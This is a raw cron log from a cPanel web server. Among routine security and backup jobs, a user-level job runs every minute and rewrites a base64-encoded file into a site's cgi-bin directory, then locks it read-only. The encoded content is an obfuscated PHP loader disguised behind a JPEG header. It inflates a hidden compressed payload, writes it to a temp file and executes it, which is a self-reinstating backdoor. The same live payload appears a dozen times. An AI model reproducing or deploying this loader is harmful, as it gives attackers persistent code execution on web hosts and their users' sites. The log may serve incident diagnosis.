Aug 31 07:14:01 server CROND[17076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:14:01 server CROND[17077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:14:01 server CROND[17078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:15:01 server CROND[17511]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 07:15:01 server CROND[17513]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:15:01 server CROND[17523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:15:01 server CROND[17524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:15:01 server CROND[17526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:15:01 server CROND[17529]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 07:15:01 server CROND[17527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:15:01 server CROND[17530]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 07:16:01 server CROND[18392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:16:01 server CROND[18393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:16:01 server CROND[18394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:17:01 server CROND[18781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:17:01 server CROND[18782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:17:01 server CROND[18783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:18:01 server CROND[19169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:18:01 server CROND[19171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:18:01 server CROND[19170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:19:01 server CROND[19646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:19:01 server CROND[19647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:19:01 server CROND[19648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:20:01 server CROND[20038]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 07:20:01 server CROND[20039]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 07:20:01 server CROND[20044]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 07:20:01 server CROND[20045]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:20:01 server CROND[20043]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:20:01 server CROND[20046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:20:01 server CROND[20048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:20:01 server CROND[20047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:20:01 server CROND[20049]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 07:21:01 server CROND[20897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:21:01 server CROND[20898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:21:01 server CROND[20899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:22:01 server CROND[21294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:22:01 server CROND[21296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:22:01 server CROND[21295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:23:01 server CROND[21687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:23:01 server CROND[21688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:23:01 server CROND[21689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:24:01 server CROND[22193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:24:01 server CROND[22194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:24:01 server CROND[22196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:25:01 server CROND[22688]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 07:25:01 server CROND[22704]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:25:01 server CROND[22702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:25:01 server CROND[22706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:25:01 server CROND[22703]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 07:25:01 server CROND[22705]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:25:01 server CROND[22707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
